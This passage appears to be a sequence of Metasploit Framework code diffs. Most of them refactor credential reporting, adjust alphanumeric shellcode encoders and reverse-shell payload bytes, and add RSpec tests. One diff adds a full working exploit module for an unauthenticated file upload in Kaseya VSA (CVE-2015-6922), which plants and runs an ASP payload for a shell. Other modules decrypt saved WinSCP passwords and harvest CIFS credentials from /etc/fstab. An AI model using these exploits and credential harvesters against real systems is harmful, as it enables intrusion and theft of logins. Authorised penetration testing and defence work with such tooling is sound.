workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_fingerprint(user=nil,pass=nil,database=nil)
begin
msg = "#{rhost}:#{rport} Postgres -"
@ -79,13 +105,13 @@ class Metasploit3 < Msf::Auxiliary
)
if self.postgres_conn
report_auth_info(
:host => rhost,
:port => rport,
:sname => "postgres",
:user => user,
:pass => password,
:active => true
report_cred(
ip: rhost,
port: rport,
service_name: 'postgres',
user: user,
password: password,
proof: "postgres_conn = #{self.postgres_conn.inspect}"
)
end

View File

@ -43,9 +43,7 @@ class Metasploit3 < Msf::Auxiliary
pcap = self.capture
capture_sendto(build_tcp_syn(ip), ip)
capture_sendto(build_icmp(ip), ip)
capture_sendto(build_tcp_syn(ip), ip) and capture_sendto(build_icmp(ip), ip)
close_pcap
end

View File

@ -220,6 +220,31 @@ class Metasploit3 < Msf::Auxiliary
[ sd, lport ]
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def start_rsh_session(host, port, user, luser, proof, stderr_sock)
report_auth_info(

View File

@ -68,22 +68,49 @@ class Metasploit4 < Msf::Auxiliary
vprint_status("#{rhost}:#{rport} - Adding User to Group...")
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USERNAME'] + ',GROUPNAME=' + datastore['GROUP']
if send_request(uri)
res = send_request(uri)
if res
print_good("#{rhost}:#{rport} - User #{datastore['USERNAME']} added to group #{datastore['GROUP']}")
else
return
end
report_auth_info(
:host => rhost,
:port => rport,
:user => datastore['USERNAME'],
:pass => datastore['PASSWORD'],
:ptype => "password",
:active => true
report_cred(
ip: rhost,
port: rport,
service_name: 'sap',
user: datastore['USERNAME'],
pass: datastore['PASSWORD'],
proof: res.body
)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def send_request(uri)
begin
res = send_request_cgi({

View File

@ -61,6 +61,32 @@ class Metasploit4 < Msf::Auxiliary
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def enum_user(user, pass, uri)
# Replace placeholder with SAP SID, if present
@ -140,16 +166,13 @@ class Metasploit4 < Msf::Auxiliary
vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
end
report_auth_info(
:host => rhost,
:sname => 'sap-managementconsole',
:proto => 'tcp',
:port => rport,
:user => user,
:pass => pass,
:source_type => "user_supplied",
:target_host => rhost,
:target_port => rport
report_cred(
ip: rhost,
port: port,
user: user,
password: pass,
service_name: 'sap-managementconsole',
proof: res.body
)
else
vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")

View File

@ -124,7 +124,7 @@ class Metasploit4 < Msf::Auxiliary
return
else
print_good("[SAP] #{ip}:#{rport} - User '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}' created")
report_auth_info(
report_auth(
ip: ip,
port: rport,
service_name: 'sap',

View File

@ -31,6 +31,7 @@ class Metasploit3 < Msf::Encoder::Alphanum
# being encoded.
#
def decoder_stub(state)
modified_registers = []
reg = datastore['BufferRegister']
off = (datastore['BufferOffset'] || 0).to_i
buf = ''
@ -41,8 +42,19 @@ class Metasploit3 < Msf::Encoder::Alphanum
buf = 'VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089'
reg = 'ECX'
off = 0
modified_registers.concat (
[
Rex::Arch::X86::ESP,
Rex::Arch::X86::EDI,
Rex::Arch::X86::ESI,
Rex::Arch::X86::EBP,
Rex::Arch::X86::EBX,
Rex::Arch::X86::EDX,
Rex::Arch::X86::ECX,
Rex::Arch::X86::EAX
])
else
res = Rex::Arch::X86.geteip_fpu(state.badchars)
res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers)
if (not res)
raise EncodingError, "Unable to generate geteip code"
end
@ -52,7 +64,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
reg.upcase!
end
buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off)
stub = buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off, modified_registers)
# Sanity check that saved_registers doesn't overlap with modified_registers
modified_registers.uniq!
if (modified_registers & saved_registers).length > 0
raise BadGenerateError
end
stub
end
#
@ -69,4 +89,14 @@ class Metasploit3 < Msf::Encoder::Alphanum
def encode_end(state)
state.encoded += Rex::Encoder::Alpha2::AlphaMixed::add_terminator()
end
# Indicate that this module can preserve some registers
def can_preserve_registers?
true
end
# Convert the SaveRegisters to an array of x86 register constants
def saved_registers
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
end
end

View File

@ -34,6 +34,7 @@ class Metasploit3 < Msf::Encoder::Alphanum
# being encoded.
#
def decoder_stub(state)
modified_registers = []
reg = datastore['BufferRegister']
off = (datastore['BufferOffset'] || 0).to_i
buf = ''
@ -44,8 +45,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
buf = 'VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861816'
reg = 'ECX'
off = 0
modified_registers.concat (
[
Rex::Arch::X86::ESP,
Rex::Arch::X86::EDI,
Rex::Arch::X86::ESI,
Rex::Arch::X86::EAX
])
else
res = Rex::Arch::X86.geteip_fpu(state.badchars)
res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers)
if (not res)
raise EncodingError, "Unable to generate geteip code"
end
@ -55,7 +63,15 @@ class Metasploit3 < Msf::Encoder::Alphanum
reg.upcase!
end
buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off)
stub = buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off, modified_registers)
# Sanity check that saved_registers doesn't overlap with modified_registers
modified_registers.uniq!
if (modified_registers & saved_registers).length > 0
raise BadGenerateError
end
stub
end
#
@ -72,4 +88,14 @@ class Metasploit3 < Msf::Encoder::Alphanum
def encode_end(state)
state.encoded += Rex::Encoder::Alpha2::AlphaUpper::add_terminator()
end
# Indicate that this module can preserve some registers
def can_preserve_registers?
true
end
# Convert the SaveRegisters to an array of x86 register constants
def saved_registers
Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters'])
end
end

View File

@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
'BadChars' => '',
'DisableNops' => true,
},
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win },
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe },
'Arch' => ARCH_ALL,
'Targets' => [ [ 'Wildcard Target', { } ] ],
'DefaultTarget' => 0

View File

@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{rhost}:#{rport} Sending crafted SMB packet from #{shost}...")
capture_sendto(p, rhost)
return unless capture_sendto(p, rhost)
handler
end

View File

@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote
'References' =>
[
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi']
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'],
['CVE', '2015-2342']
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,

View File

@ -204,10 +204,10 @@ class Metasploit3 < Msf::Exploit::Remote
p.payload = sploit
p.recalc
capture_sendto(p, rhost)
sent = capture_sendto(p, rhost)
close_pcap
handler
handler if sent
else
print_status("Sending malformed LWRES packet to #{rhost}")
connect_udp

View File

@ -215,7 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote
while true
break if session_created? and datastore['ExitOnSession']
capture_sendto(p, rhost)
break unless capture_sendto(p, rhost)
select(nil,nil,nil,datastore['DELAY'])
end

View File

@ -397,6 +397,33 @@ class Metasploit3 < Msf::Exploit::Remote
create_credential_login(login_data)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :nonreplayable_hash,
jtr_format: 'md5,raw-md5'
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def exploit
print_status("#{peer} - Checking for a valid node id...")
node_id = get_node
@ -417,6 +444,14 @@ class Metasploit3 < Msf::Exploit::Remote
for i in 0..count_users - 1
user = get_user_data(node_id, i)
report_cred(
ip: rhost,
port: rport,
user: user[0],
password: user[1],
service_name: (ssl ? "https" : "http"),
proof: "salt: #{user[2]}"
)
report_auth_info({
:host => rhost,
:port => rport,

View File

@ -0,0 +1,132 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions
between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary
directory leading to arbitrary code execution with IUSR privileges. This module has been
tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6922'],
['ZDI', '15-449'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Privileged' => false,
'Targets' =>
[
[ 'Kaseya VSA v7 to v9.1', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 23 2015'))
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('ConfigTab','uploader.aspx')
})
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def upload_file(payload, path, filename, session_id)
print_status("#{peer} - Uploading payload to #{path}...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
'vars_get' => {
'PathData' => path,
'qqfile' => filename
},
'data' => payload,
'ctype' => 'application/octet-stream',
'cookie' => 'sessionId=' + session_id
})
if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"')
return true
else
return false
end
end
def exploit
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('ConfigTab','uploader.aspx')
})
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
session_id = $1
else
fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
end
asp_name = "#{rand_text_alpha_lower(8)}.asp"
exe = generate_payload_exe
payload = Msf::Util::EXE.to_exe_asp(exe).to_s
paths = [
# We have to guess the path, so just try the most common directories
'C:\\Kaseya\\WebPages\\',
'C:\\Program Files\\Kaseya\\WebPages\\',
'C:\\Program Files (x86)\\Kaseya\\WebPages\\',
'D:\\Kaseya\\WebPages\\',
'D:\\Program Files\\Kaseya\\WebPages\\',
'D:\\Program Files (x86)\\Kaseya\\WebPages\\',
'E:\\Kaseya\\WebPages\\',
'E:\\Program Files\\Kaseya\\WebPages\\',
'E:\\Program Files (x86)\\Kaseya\\WebPages\\',
]
paths.each do |path|
if upload_file(payload, path, asp_name, session_id)
register_files_for_cleanup(path + asp_name)
print_status("#{peer} - Executing payload #{asp_name}")
send_request_cgi({
'uri' => normalize_uri(asp_name),
'method' => 'GET'
})
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end
end
end
end

View File

@ -197,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Local
winver = sysinfo['OS']
case winver
when /Windows (7|8|2008|2012)/
when /Windows (7|8|2008|2012|10)/
print_good("#{winver} may be vulnerable.")
else
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")
@ -221,7 +221,7 @@ class Metasploit3 < Msf::Exploit::Local
paths[:szElevDir] = "#{win_path}\\System32\\sysprep"
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"
when /Windows (8|2012)/
when /Windows (8|2012|10)/
paths[:szElevDll] = 'NTWDBLIB.dll'
paths[:szElevDir] = "#{win_path}\\System32"
# This should be fine to be left blank

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 89
CachedSize = 90
include Msf::Payload::Single
include Msf::Payload::Bsd
@ -46,7 +46,8 @@ module Metasploit3
"\x52" +# push %rdx #
"\x52" +# push %rdx #
"\x52" +# push %rdx #
"\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 #
"\xba\x00\x1c\x11\x5C" +# mov edx,0x5c111c00 #
"\x52" +# push %rdx #
"\x48\x89\xe6" +# mov %rsp,%rsi #
"\x6a\x1c" +# pushq $0x1c #
"\x5a" +# pop %rdx #

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 87
CachedSize = 88
include Msf::Payload::Single
include Msf::Payload::Bsd
@ -44,7 +44,8 @@ module Metasploit3
"\x0f\x05" +# syscall #
"\x48\x97" +# xchg %rax,%rdi #
"\x52" +# push %rdx #
"\x68\x00\x02\x11\x5c" +# pushq $0x5c110200 #
"\xba\x00\x02\x11\x5C" +# mov edx,0x5c110200 #
"\x52" +# push %rdx #
"\x48\x89\xe6" +# mov %rsp,%rsi #
"\x6a\x10" +# pushq $0x10 #
"\x5a" +# pop %rdx #

View File

@ -47,10 +47,10 @@ class Metasploit3 < Msf::Post
cred = {}
# if the fstab line utilizies the credentials= option, read the credentials from that file
if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/)
host = $1
cred[:host] = $1
# IPs can occur using the ip option, which is a backup/alternative
# to letting UNC resolution do its thing
host = $1 if (fstab_line =~ /ip=([^, ]+)/)
cred[:host] = $1 if (fstab_line =~ /ip=([^, ]+)/)
if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
file = $1
# skip if we've already parsed this credentials file
@ -58,11 +58,13 @@ class Metasploit3 < Msf::Post
# store it if we haven't
cred_files << file
# parse the credentials
creds << parse_credentials_file(file)
cred.merge!(parse_credentials_file(file))
# if the credentials are directly in /etc/fstab, parse them
elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/)
creds << parse_fstab_credentials(fstab_line)
cred.merge!(parse_fstab_credentials(fstab_line))
end
creds << cred
end
end
@ -71,10 +73,15 @@ class Metasploit3 < Msf::Post
creds.compact!
creds.uniq!
creds.each do |cred|
# XXX: currently, you can only report_auth_info on an IP or a valid Host. in our case,
# host[:host] is *not* a Host. Fix this some day.
if (Rex::Socket.dotted_ip?(cred[:host]))
report_auth_info({ :port => 445, :sname => 'smb', :type => 'password', :active => true }.merge(cred))
report_cred(
ip: cred[:host],
port: 445,
service_name: 'smb',
user: cred[:user],
password: cred[:pass],
proof: '/etc/fstab'
)
end
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
end
@ -93,8 +100,37 @@ class Metasploit3 < Msf::Post
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password,
module_fullname: fullname,
session_id: session_db_id,
post_reference_name: self.refname
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
# Returns the username+domain and password as a hash, nil if nothing is found.
# Returns the username+domain and password as a hash.
def parse_fstab_credentials(line, file="/etc/fstab")
creds = {}
# get the username option, which comes in one of four ways
@ -123,11 +159,12 @@ class Metasploit3 < Msf::Post
creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
creds[:file] = file unless (creds.empty?)
(creds.empty? ? nil : creds)
creds
end
# Parse mount.cifs credentials from +file+, returning the username+domain and password
# as a hash, nil if nothing is found.
# as a hash.
def parse_credentials_file(file)
creds = {}
domain = nil
@ -145,6 +182,6 @@ class Metasploit3 < Msf::Post
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user])
creds[:file] = file unless (creds.empty?)
(creds.empty? ? nil : creds)
creds
end
end

View File

@ -1,5 +1,3 @@
# post/windows/gather/enum_vnc_pw.rb
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
@ -8,6 +6,7 @@
require 'msf/core'
require 'rex'
require 'rex/parser/ini'
require 'rex/parser/winscp'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
@ -15,6 +14,7 @@ class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::UserProfiles
include Msf::Post::File
include Rex::Parser::WinSCP
def initialize(info={})
super(update_info(info,
@ -73,14 +73,21 @@ class Metasploit3 < Msf::Post
portnum = 22
end
winscp_store_config(
'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "",
'HostName' => registry_getvaldata(active_session, 'HostName') || "",
'Password' => password,
'PortNumber' => portnum,
'UserName' => registry_getvaldata(active_session, 'UserName') || "",
)
encrypted_password = password
user = registry_getvaldata(active_session, 'UserName') || ""
fsprotocol = registry_getvaldata(active_session, 'FSProtocol') || ""
sname = parse_protocol(fsprotocol)
host = registry_getvaldata(active_session, 'HostName') || ""
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
winscp_store_config({
hostname: host,
username: user,
password: plaintext,
portnumber: portnum,
protocol: sname
})
end
if savedpwds == 0
@ -96,121 +103,62 @@ class Metasploit3 < Msf::Post
end
def get_ini(filename)
print_error("Looking for #{filename}.")
# opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser
parse = read_file(filename)
if parse.nil?
print_error("WinSCP.ini file NOT found...")
return
end
print_status("Found WinSCP.ini file...")
ini = Rex::Parser::Ini.from_s(parse)
# if a Master Password is in use we give up
if ini['Configuration\\Security']['MasterPassword'] == '1'
print_status("Master Password Set, unable to recover saved passwords!")
return nil
end
# Runs through each group in the ini file looking for all of the Sessions
ini.each_key do |group|
if group.include?('Sessions') && ini[group].has_key?('Password')
winscp_store_config(
'FSProtocol' => ini[group]['FSProtocol'],
'HostName' => ini[group]['HostName'],
'Password' => ini[group]['Password'],
'PortNumber' => ini[group]['PortNumber'] || 22,
'UserName' => ini[group]['UserName'],
)
end
end
end
def decrypt_next_char
pwalg_simple_magic = 0xA3
pwalg_simple_string = "0123456789ABCDEF"
# Decrypts the next character in the password sequence
if @password.length > 0
# Takes the first char from the encrypted password and finds its position in the
# pre-defined string, then left shifts the returned index by 4 bits
unpack1 = pwalg_simple_string.index(@password[0,1])
unpack1 = unpack1 << 4
# Takes the second char from the encrypted password and finds its position in the
# pre-defined string
unpack2 = pwalg_simple_string.index(@password[1,1])
# Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff
# Strips the first two chars off and returns our result
@password = @password[2,@password.length]
return result
end
end
def decrypt_password(pwd, key)
pwalg_simple_flag = 0xFF
@password = pwd
flag = decrypt_next_char()
if flag == pwalg_simple_flag
decrypt_next_char()
length = decrypt_next_char()
else
length = flag
end
ldel = (decrypt_next_char())*2
@password = @password[ldel,@password.length]
result = ""
length.times do
result << decrypt_next_char().chr
end
if flag == pwalg_simple_flag
result = result[key.length, result.length]
end
result
end
def run
print_status("Looking for WinSCP.ini file storage...")
get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini"))
print_status("Looking for Registry Storage...")
get_reg()
print_status("Done!")
# WinSCP is only x86...
if sysinfo['Architecture'] == 'x86'
prog_files_env = 'ProgramFiles'
else
prog_files_env = 'ProgramFiles(x86)'
end
env = get_envs('APPDATA', prog_files_env, 'USERNAME')
user_dir = "#{env['APPDATA']}\\..\\.."
user_dir << "\\.." if user_dir.include?('Users')
users = dir(user_dir)
users.each do |user|
next if user == "." || user == ".."
app_data = "#{env['APPDATA'].gsub(env['USERNAME'], user)}\\WinSCP.ini"
vprint_status("Looking for #{app_data}...")
get_ini(app_data) if file?(app_data)
end
program_files = "#{env[prog_files_env]}\\WinSCP\\WinSCP.ini"
get_ini(program_files) if file?(program_files)
print_status("Looking for Registry storage...")
get_reg
end
def get_ini(file_path)
print_good("WinSCP.ini located at #{file_path}")
file = read_file(file_path)
stored_path = store_loot('winscp.ini', 'text/plain', session, file, 'WinSCP.ini', file_path)
print_status("WinSCP saved to loot: #{stored_path}")
parse_ini(file).each do |res|
winscp_store_config(res)
end
end
def winscp_store_config(config)
host = config['HostName']
pass = config['Password']
portnum = config['PortNumber']
proto = config['FSProtocol']
user = config['UserName']
begin
res = client.net.resolve.resolve_host(config[:hostname], AF_INET)
ip = res[:ip] if res
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Unable to store following credentials in database as we are unable to resolve the IP address: #{e}")
ensure
print_good("Host: #{config[:hostname]}, IP: #{ip}, Port: #{config[:portnumber]}, Service: #{config[:protocol]}, Username: #{config[:username]}, Password: #{config[:password]}")
end
sname = case proto.to_i
when 5 then "FTP"
when 0 then "SSH"
end
# Decrypt our password, and report on results
plaintext = decrypt_password(pass, user+host)
print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}")
return unless ip
service_data = {
# XXX This resolution should happen on the victim side instead
address: ::Rex::Socket.getaddress(host),
port: portnum,
service_name: sname,
address: ip,
port: config[:portnumber],
service_name: config[:protocol],
protocol: 'tcp',
workspace_id: myworkspace_id,
}
@ -220,8 +168,8 @@ class Metasploit3 < Msf::Post
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: plaintext,
username: user
private_data: config[:password],
username: config[:username]
}.merge(service_data)
credential_core = create_credential(credential_data)

View File

@ -17,6 +17,34 @@ describe Msf::Exploit::Capture do
subject.should be_a_kind_of Msf::Exploit::Capture
end
context '#capture_sendto' do
let(:payload) { Rex::Text::rand_text_alphanumeric(100 + rand(1024)) }
before(:each) do
allow(subject).to receive(:capture).and_return(true)
end
it 'should return the correct number of bytes if the destination MAC can be determined, regardless of broadcast' do
allow(subject).to receive(:lookup_eth).and_return(%w(de:ad:be:ef:ca:fe 01:02:03:04:05:06))
allow(subject).to receive(:inject_eth).and_return(payload.size)
subject.capture_sendto(payload, '127.0.0.1', false).should == payload.size
subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size
end
it 'should return false if the destination MAC cannot be determined and broadcast is not desired' do
allow(subject).to receive(:lookup_eth).and_return(nil)
subject.capture_sendto(payload, '127.0.0.1').should be_falsey
subject.capture_sendto(payload, '127.0.0.1', false).should be_falsey
end
it 'should return the correct number of bytes if the destination MAC cannot be determined and broadcast is desired' do
allow(subject).to receive(:lookup_eth).and_return(nil)
allow(subject).to receive(:inject_eth).and_return(payload.size)
subject.capture_sendto(payload, '127.0.0.1', true).should == payload.size
end
end
context '#stats_*' do
it 'should show received packets' do

View File

@ -46,17 +46,6 @@ describe Msf::Module do
it { is_expected.to respond_to :is_usable }
end
describe '#user_data_is_match?' do
subject(:msf_module) {
msf_module = described_class.new
msf_module.user_data = { match: 'match', match_set: 'match_set', run: 'run' }
msf_module
}
specify do
expect(msf_module.user_data_is_match?).to eq(true)
end
end
describe "cloning modules into replicants" do
module MsfExtensionTestFoo; def my_test1; true; end; end;
module MsfExtensionTestBar; def my_test2; true; end; end;

View File

@ -321,7 +321,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
db.cmd_db_export "-h"
@output.should =~ [
"Usage:",
" db_export -f <format> [-a] [filename]",
" db_export -f <format> [filename]",
" Format can be one of: xml, pwdump"
]
end

View File

@ -1004,12 +1004,38 @@ describe Rex::Arch::X86 do
it "returns a register as third element" do
expect(subject[2]).to be_an Fixnum
end
context "when modified_registers passed" do
let(:modified_registers) { [] }
it "add modified registers" do
described_class.geteip_fpu(badchars, modified_registers)
expect(modified_registers).to_not be_empty
end
it "modifies 2 or 3 registers" do
described_class.geteip_fpu(badchars, modified_registers)
expect(modified_registers.length).to be_between(2, 3)
end
it "modifies ESP" do
described_class.geteip_fpu(badchars, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ESP)
end
end
end
context "when too many badchars" do
let(:badchars) { (0x00..0xff).to_a.pack("C*") }
it { is_expected.to be_nil }
context "when modified_registers passed" do
let(:modified_registers) { [] }
it "doesn't add any register" do
described_class.geteip_fpu(badchars, modified_registers)
expect(modified_registers).to be_empty
end
end
end
end

View File

@ -0,0 +1,17 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/arch'
describe Rex::Arch do
describe ".pack_addr" do
subject { described_class.pack_addr(arch, addr) }
context "when arch is ARCH_ZARCH" do
let(:arch) { ARCH_ZARCH }
let(:addr) { 0xdeadbeefbe655321 }
it "packs addr as 64-bit unsigned, big-endian" do
is_expected.to eq("\xDE\xAD\xBE\xEF\xBEeS!")
end
end
end
end

View File

@ -50,6 +50,180 @@ describe Rex::Encoder::Alpha2::AlphaMixed do
expect { decoder_prefix }.to raise_error
end
end
context "when modified_registers is passed" do
context "when reg is ECX" do
context "when offset is 10" do
let(:reg) { 'ECX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 5" do
let(:reg) { 'ECX' }
let(:offset) { 5 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 0" do
let(:reg) { 'ECX' }
let(:offset) { 0 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "doesn't mark EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
context "when offset is 15" do
let(:reg) { 'ECX' }
let(:offset) { 15 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EBX)
end
it "marks EDX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::EDX)
end
end
end
context "when reg is EDX" do
context "when offset is 10" do
let(:reg) { 'EDX' }
let(:offset) { 10 }
let(:modified_registers) { [] }
it "marks ECX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
expect(modified_registers).to include(Rex::Arch::X86::ECX)
end
it "marks EBX as modified" do
described_class.gen_decoder_prefix(reg, offset, modified_registers)
